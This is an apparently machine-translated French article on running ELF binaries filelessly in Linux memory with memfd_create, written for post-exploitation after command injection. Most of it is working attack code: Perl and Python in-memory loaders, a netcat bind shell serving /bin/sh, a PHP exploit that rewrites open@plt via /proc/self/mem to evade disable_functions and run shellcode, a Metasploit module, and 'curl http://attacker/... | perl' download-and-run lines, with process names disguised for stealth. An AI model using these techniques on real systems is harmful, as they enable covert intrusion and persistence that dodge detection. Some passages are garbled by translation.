Elfes en mémoire. Exécution d'ELF dans la RAM Linux


La distribution de logiciels malveillants sans fichiers gagne en popularité. Ce qui n'est pas surprenant, car le travail de tels programmes ne laisse pratiquement aucune trace. Dans cet article, nous n'aborderons pas la technique d'exécution des programmes dans la mémoire de Windows. Nous nous concentrons sur GNU / Linux. Linux domine à juste titre le segment des serveurs, vit sur des millions d'appareils intégrés et fournit la grande majorité des ressources Web. Ensuite, nous ferons un bref examen des possibilités d'exécuter des programmes en mémoire et démontrerons que cela est possible même dans des conditions difficiles.


Les techniques d'exécution sans fichier sont secrètes; il est extrêmement difficile de détecter et de suivre leur utilisation. Les outils de contrôle d'intégrité du système de fichiers ne préviendront pas l'administrateur, car aucune opération d'écriture sur le disque ou modification de fichier sur le disque ne se produit. Les logiciels antivirus (souvent négligés par les utilisateurs de * nix) ne contrôlent souvent pas la mémoire du programme après le démarrage. De plus, dans de nombreuses distributions GNU / Linux, immédiatement après l'installation, une large gamme de divers utilitaires de débogage, interprètes, compilateurs de langages de programmation et bibliothèques pour eux est disponible. Tout cela crée d'excellentes conditions pour l'utilisation de techniques d'exécution de programme secrète et sans fichier. Mais en plus des avantages de leur utilisation, il y a aussi des inconvénients - ces programmes ne survivent pas à la panne ou au redémarrage de l'hôte cible. Mais pendant que l'hôte fonctionne, le programme fonctionne.


De telles techniques peuvent et doivent être utilisées non seulement pour la distribution de logiciels malveillants. Si la vitesse d'exécution de votre programme est critique pour vous, déchargez-la dans la RAM. En fait, de nombreuses distributions Linux se sentent bien lorsqu'elles s'exécutent complètement en RAM, ce qui vous permet de travailler avec des disques durs sans enregistrer de fichiers dessus. Du point de vue de l'audit de sécurité de l'information, les méthodes d'exécution secrète des programmes sont très utiles comme étape de post-opération et d'intelligence dans le périmètre du réseau cible. Surtout si le secret maximum est l'une des conditions d'audit.
Selon le portail barkly.com en 2018, déjà 35% des attaques de virus se produisent dans des logiciels malveillants exécutés en mémoire.


Dans le cas de Windows, les cybercriminels utilisent activement le système Powershell préinstallé afin de télécharger et d'exécuter immédiatement le code. Ces techniques sont largement utilisées, entre autres, grâce à leur implémentation dans des frameworks tels que Powershell Empire, Powersploit et Metasploit Framework.


Et Linux?


Dans la plupart des cas, les distributions Linux installées sur les hôtes ont un ensemble de logiciels préinstallé. En règle générale, des interprètes de langages de programmation sont disponibles: compilateur Python, Perl, C. PHP est présent sur les sites d'hébergement dans l'appendice. Cette condition permet d'exécuter du code à l'aide de ces langages.


Sous Linux, nous avons plusieurs options bien connues pour exécuter du code en mémoire.
Le moyen le plus simple consiste à utiliser la zone de mémoire partagée pré-montée sur le système de fichiers.


En plaçant le fichier exécutable dans le répertoire / dev / shm ou / run / shm, il est possible de l'exécuter directement en mémoire, étant donné que ces répertoires ne sont rien de plus qu'une mémoire à accès aléatoire montée sur le système de fichiers. Mais ils peuvent être visualisés avec ls comme n'importe quel autre répertoire. Et en règle générale, ces répertoires sont montés avec l'indicateur noexec, et l'exécution des programmes dans ces répertoires n'est disponible que pour le superutilisateur. Donc, pour être un peu plus discret, vous avez besoin d'autre chose.


Plus remarquable est l'appel système memfd_create (2) . Cet appel système fonctionne à peu près comme malloc (3) , mais ne renvoie pas de pointeur vers une zone mémoire, mais un descripteur de fichier vers un fichier anonyme, qui n'est visible dans le système de fichiers qu'en tant que lien dans /proc/PID/fd/ , par lequel il peut être exécuté à l'aide de execve (2).
Voici ce que dit la page de manuel d'utilisation de l' appel système memfd_create (en russe) :


"Le nom spécifié dans name est utilisé comme nom de fichier et sera affiché comme cible du lien symbolique correspondant dans le répertoire. /proc/self/fd/ . Le nom d'affichage commence toujours par memfd: et sert uniquement au débogage. Les noms n'affectent pas le comportement du fichier "descripteur, et donc plusieurs fichiers peuvent avoir le même nom sans aucune conséquence."


Un exemple d'utilisation de memfd_create() pour le langage C:


 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

Le code ci-dessus utilise memfd , crée un processus enfant, dirige sa sortie vers un fichier temporaire, attend que le processus enfant se termine et lit sa sortie à partir du fichier temporaire. Habituellement, le canal "|" est utilisé pour rediriger la sortie d'un programme vers l'entrée d'un autre dans * nix.


La possibilité d'utiliser syscall() est également disponible dans des langages interprétés tels que perl, python, etc ... Ensuite, nous considérons l'un des scénarios possibles et démontrons la possibilité de charger des fichiers exécutables en mémoire à l'aide de memfd_create() .


Perl


Supposons que nous ayons un point d'entrée sous la forme d'une injection de commande.
Nous avons besoin d'un moyen de faire des appels système sur le système cible.
En perl, la fonction syscall () nous y aidera.
Nous aurons également besoin d'un moyen d'écrire notre ELF directement dans la mémoire en tant que contenu d'un fichier anonyme.
Pour ce faire, nous placerons notre ELF directement dans le corps du script, qui à son tour sera transféré vers le système cible via l'injection de commande disponible. Alternativement, vous pouvez également télécharger le fichier exécutable sur le réseau.
Mais avant cela, il vaut la peine de faire une réservation. Nous devons connaître la version du noyau linux sur l'hôte cible, puisque l'appel système memfd_create() requis n'est disponible qu'à partir de la version 3.17 et supérieure.


Examinons de plus memfd_create() et execve()


Pour notre fichier anonyme, nous utiliserons la constante MFD_CLOEXEC , qui "définit l'indicateur de close-on-exec (FD_CLOEXEC) pour un nouveau descripteur de fichier ouvert". Cela signifie que notre descripteur de fichier se fermera automatiquement après l'exécution de notre ELF en utilisant execve()


Puisque nous utiliserons la fonction syscall() du langage Perl, nous aurons besoin de valeurs numériques pour appeler notre syscall et son paramètre.
Vous pouvez les trouver dans /usr/include ou sur Internet. Le numéro d'appel système se trouve dans #define commençant par __NR_
Dans notre cas, memfd_create() est numéroté 319 pour un système d'exploitation 64 bits. Et la constante est FD_CLOSEXEC 0x0001U (c'est-à-dire 1 dans le linux/memfd.h )


Nous avons maintenant toutes les valeurs numériques nécessaires, et nous pouvons écrire en Perl un analogue de memfd_create(name, MFD_CLOEXEC) de C.
Nous devrons également trouver un nom de fichier qui sera affiché dans /memfd:
Il sera optimal de choisir un nom similaire Ă  [:kworker] ou un autre, sans susciter de suspicion.
Par exemple, nous passerons une chaîne vide au paramètre name:


 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

Nous avons maintenant le descripteur de fichier anonyme dans $ fd et nous devons Ă©crire l'ELF dans ce fichier.
La fonction open () en perl est généralement utilisée pour ouvrir des fichiers, mais en utilisant la construction >&=FD , en passant le descripteur à cette fonction au lieu du nom de fichier, nous transformons le descripteur de fichier déjà ouvert en descripteur de fichier.
autoflush[] serait Ă©galement utile:


 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

Nous avons maintenant une poignée qui fait référence à un fichier anonyme.


Ensuite, nous devons convertir notre fichier exécutable en données qui peuvent être placées dans le corps d'un script Perl.
Pour ce faire, nous effectuons:


 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

Nous obtenons beaucoup, beaucoup de lignes similaires:


 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

Après les avoir exécutés, nous mettrons notre fichier exécutable en mémoire. Il ne nous reste plus qu'à le lancer.


fourche ()


En option, nous pouvons utiliser fork () . Ce n'est pas du tout nécessaire. Mais si nous voulons non seulement exécuter ELF et tuer le processus, nous devrons utiliser fork() .
En général, la création d'un processus enfant en perl ressemble à ceci:


 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

L'utilité de fork() également dans le fait qu'en l'appelant avec setsid (2) , vous pouvez séparer le processus enfant du processus parent et laisser le parent se terminer:


 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

Nous pouvons maintenant exécuter ELF dans de nombreux processus.


Execve ()


Execve () est un appel système qui nous permet d'exécuter un programme. Perl nous offre des fonctionnalités similaires via la fonction Exec () , qui fonctionne exactement comme l'appel système susmentionné, mais a une syntaxe beaucoup plus simple et plus pratique.
Nous devons passer deux choses à exec() : le fichier que nous voulons exécuter (notre mémoire ELF précédemment chargée) et le nom du processus comme l'un des arguments passés. Habituellement, le nom du processus correspond au nom du fichier exécutable. Mais puisque nous verrons /proc/PID/fd/3 dans la liste des processus, nous appellerons notre processus autre chose.
La syntaxe de exec() la suivante:


 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

L'exemple ci-dessus démarre Netcat. Mais nous aimerions lancer quelque chose d'un peu moins comme une porte dérobée.
Le processus en cours d'exécution n'aura pas de lien vers le fichier anonyme dans /proc/PID/fd , mais nous pouvons toujours trouver notre ELF dans le lien /proc/PID/exe , qui pointe vers le fichier du processus en cours d'exécution.
Nous avons donc lancé ELF dans la mémoire Linux, sans toucher au disque ni même au système de fichiers.
Il est possible de télécharger notre fichier exécutable sur le système cible rapidement et facilement, par exemple, en passant un script à l'interpréteur Perl, dans le corps duquel nous avons placé ELF et l'avons placé sur un hébergement Web externe: $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl


Python


Semblable à l'option Perl, nous devons effectuer les opérations suivantes:


  • Ă  l'aide de l'appel système memfd_create (), crĂ©ez un fichier anonyme en mĂ©moire
  • Ă©crire l'exĂ©cutable ELF dans ce fichier
  • l'exĂ©cuter et Ă©ventuellement l'exĂ©cuter plusieurs fois avec fork ()

 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

Dans le cas de python, pour appeler syscall nous avons besoin des modules standard ctypes et os pour écrire et exécuter le fichier et contrôler le processus. Tout est complètement analogue à la version Perl.
Dans le code ci-dessus, nous écrivons dans le fichier un fichier précédemment localisé dans le /tmp/ . Cependant, rien ne nous empêche de télécharger le fichier depuis le serveur Web.


Php


À ce stade, nous pouvons déjà utiliser perl et python. Les interprètes de ces langues sont installés par défaut sur de nombreux systèmes d'exploitation. Mais le plus intéressant, comme toujours, est devant.
Si, pour une raison quelconque, les interprètes perl ou python ne sont pas disponibles pour nous, ce serait bien d'utiliser PHP. Ce langage est très populaire parmi les développeurs Web. Et si nous avons déjà trouvé la possibilité d'exécuter du code dans une application web, c'est avec une forte probabilité que l'interpréteur PHP nous rencontre.


Malheureusement, php n'a pas de mécanismes syscall pour appeler syscall .
Nous sommes tombés sur un message de Beched'a sur le forum rdot (Merci Beched!), Qui écrase l'appel de la fonction open au system via procfs /proc/self/mem dans la mémoire du processus actuel et contourne disable_functions .
Nous avons utilisé cette astuce pour réécrire la fonction dans notre code, ce qui entraînera les appels système nécessaires.
Nous passerons syscall à l'interpréteur php sous forme de shellcode sur l'assembleur.
Les appels système devront être passés via une séquence de commandes.
Commençons à écrire un script PHP. Ensuite, il y aura beaucoup de magie.


Tout d'abord, nous désignons les paramètres nécessaires:


  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

Notons le décalage - les valeurs supérieures et inférieures en mémoire, où nous placerons plus tard notre shellcode:


  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

Vient ensuite la fonction par laquelle le fichier binaire est «décompressé». Pour ce faire, nous convertissons les données binaires en une représentation décimale en utilisant la fonction hexdex () des données binaires bin2hex () dans l' ordre inverse (pour le stockage):


 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

Ensuite, le fichier ELF est analysé pour obtenir des décalages:


 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

De plus, nous affichons des informations sur la version installée de PHP:


 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

Nous vérifions la profondeur de bits du système d'exploitation et la version du noyau Linux:


 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

Afin de contourner les restrictions de disable_functions , le script réécrit l'adresse de la fonction open@plt à la volée. Nous avons fait quelques ajouts au code beched'a, et maintenant nous pouvons mettre notre shellcode en mémoire.


Vous devez d'abord trouver le décalage dans le fichier binaire de l'interpréteur PHP lui-même, pour cela nous nous tournons vers /proc/self/exe et analysons le fichier exécutable en utilisant la fonction parseelf() décrite ci-dessus:


 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

Trouvez l'adresse de la fonction open() :


 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

Vous pouvez maintenant accéder directement au téléchargement de notre fichier exécutable.
Créez d'abord un fichier anonyme:


 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

Nous Ă©crivons la charge dans un fichier anonyme:


 fwrite($fp, $elf); 

Nous recherchons le numéro de descripteur de fichier:


 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

Ensuite, nous écrivons le chemin d'accès au fichier exécutable sur la pile:


 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

Et les arguments à exécuter sont passés à l'exécutable:


 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

Ensuite, en appelant fork() , nous exécutons notre charge utile:


 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

Shellcode


Shellcode signifie généralement une séquence d'octets qui sont stockés en mémoire puis exécutés, généralement dans le contexte d'un autre programme, à l'aide d'attaques de dépassement de tampon et autres. Dans notre cas, le shellcode ne nous renvoie pas l'invite de commande du serveur distant (en fait Shell), mais nous permet d'exécuter les commandes dont nous avons besoin.


Pour obtenir la séquence d'octets requise, vous pouvez soit écrire du code C, puis le traduire en langage assembleur, ou écrire le langage assembleur à partir de zéro.


Voyons ce qui se cache derrière la séquence d'octets des listes ci-dessus.


 push 57 pop rax syscall test eax, eax jnz quit 

Le lancement de notre programme commence par c fork . 57 est la valeur numérique de l'identificateur d'appel système pour les systèmes 64 bits. Le tableau se trouve ici .


Ensuite, nous appelons setsid (identificateur numérique 112) pour convertir le processus enfant en parent:


 push 112 pop rax syscall 

Ensuite, faites une autre fork :


 push 57 pop rax syscall test eax, eax jnz quit 

execve() ensuite le familier execve() :


 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

Et nous terminons le processus avec exit() (60):


 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

Ainsi, nous avons remplacé le code de la fonction open () lors de vos déplacements. Notre fichier exécutable a été placé en mémoire et exécuté au moyen de l'interpréteur PHP. Les appels système sont présentés sous forme de shellcodes.


Cadre Metasploit


En tant que compilation des techniques ci-dessus, nous avons préparé un module pour MSF .


Pour l'ajouter à Metasploit, copiez simplement le fichier du module dans le répertoire $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb , puis exécutez la commande reload_all dans la console du framework.
Pour utiliser notre module, entrez use post/linux/manage/download_exec_elf_in_memory (ou un autre chemin, selon le répertoire dans lequel le fichier de module a été placé)
Avant de l'utiliser, vous devez définir les options nécessaires. La liste des options s'affiche avec la commande show options .


ARGS - Arguments pour l'exécutable


FILE - chemin d'accès au fichier exécutable. Dans notre cas, c'est Netcat.


NAME est le nom du processus. Vous pouvez l'appeler n'importe quoi. Par exemple, pour des raisons de furtivité, cela peut être kworker: 1 bien, ou dans le but de démontrer quelque chose de comique, par exemple KittyCat


SESSION - session meterpreter. Il est entendu que ce module sera utilisé à des fins de post-opération.


Ensuite, nous désignons l'hôte sur lequel le serveur http avec notre charge sera situé et son port dans les SRVPORT SRVHOST et SRVPORT respectivement.


VECTOR - la méthode par laquelle l'exécution du programme en mémoire sera réalisée, le paramètre est facultatif, s'il est vide, le script lui-même établira la présence des interprètes nécessaires. PHP, Python ou Perl sont actuellement pris en charge.


run Ă  l'aide de la commande exploit ou run



Cela fonctionne comme suit - nous indiquons la session souhaitée, il peut s'agir d'un mètre-mètre ou d'un reverse-shell normal. Ensuite, nous indiquons le chemin local vers notre elfe, les arguments et le nom souhaité dans la liste des processus. Après le démarrage, un serveur Web local sera lancé pour héberger la charge utile, et la session recherchera des «chaises berçantes», curl et wget sont actuellement pris en charge. Après avoir trouvé au moins l'un d'entre eux, tous les interprètes seront recherchés si nous n'avons pas spécifié dans le paramètre VECTOR celui dont nous avons besoin. Eh bien, en cas de succès, une commande sera exécutée pour télécharger la charge utile de notre serveur Web et la transférer via un canal vers l'interpréteur souhaité, c'est-à-dire quelque chose comme $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl


Au lieu d'une conclusion.


Le téléchargement sans fichier de fichiers ELF sous Linux est une technique utile pour les tests de pénétration. Il s'agit d'une méthode assez silencieuse qui peut résister à une large gamme d'outils de protection antivirus, de systèmes de surveillance de l'intégrité et de systèmes de surveillance qui surveillent les changements dans le contenu du disque dur. De cette façon, vous pouvez facilement conserver l'accès au système cible, tout en laissant un minimum de traces.
Dans cet article, nous avons utilisé des langages de programmation interprétés, souvent installés par défaut sur les distributions Linux, les micrologiciels, les routeurs et les appareils mobiles. Je voudrais également remercier l'auteur de cet article , qui nous a inspiré cette revue.

Source: https://habr.com/ru/post/fr430902/


All Articles